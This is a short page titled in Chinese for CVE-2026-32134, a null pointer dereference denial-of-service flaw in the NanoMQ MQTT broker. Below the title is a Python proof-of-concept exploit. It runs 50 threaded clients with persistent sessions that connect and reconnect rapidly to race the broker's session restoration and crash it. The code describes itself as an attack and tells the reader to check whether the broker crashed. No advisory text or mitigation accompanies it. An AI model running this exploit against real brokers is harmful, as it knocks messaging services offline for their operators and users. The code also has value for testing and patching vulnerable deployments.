CVE-2026-32134 NanoMQ空指针解引用导致拒绝服务漏洞

import paho.mqtt.client as mqtt import threading import time # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 1883 NUM_CLIENTS = 50 # High concurrency to trigger race condition # Callback when connection is established def on_connect(client, userdata, flags, rc): if rc == 0: print(f"Client {userdata} connected") # Simulate traffic or wait for disconnect else: print(f"Failed to connect, return code {rc}") # Callback when connection is lost def on_disconnect(client, userdata, rc): print(f"Client {userdata} disconnected") # Immediately attempt to reconnect to trigger race condition try: client.reconnect() except Exception as e: print(f"Reconnect error for {userdata}: {e}") def start_mqtt_client(client_id): # clean_start=False (clean_session=False) is required to trigger session restoration logic client = mqtt.Client(client_id=client_id, clean_session=False) client.on_connect = on_connect client.on_disconnect = on_disconnect client.user_data_set(client_id) try: client.connect(TARGET_IP, TARGET_PORT, 60) client.loop_start() # Keep alive for a short duration then disconnect to start the cycle time.sleep(2) client.loop_stop() client.disconnect() except Exception as e: print(f"Error in client {client_id}: {e}") if __name__ == "__main__": threads = [] print(f"Starting attack against {TARGET_IP}:{TARGET_PORT}...") # Create multiple threads to simulate concurrent reconnections for i in range(NUM_CLIENTS): client_id = f"poc_client_{i}" t = threading.Thread(target=start_mqtt_client, args=(client_id,)) t.start() threads.append(t) time.sleep(0.01) # Slight delay to stagger connections for t in threads: t.join() print("Attack finished. Check if the broker has crashed.")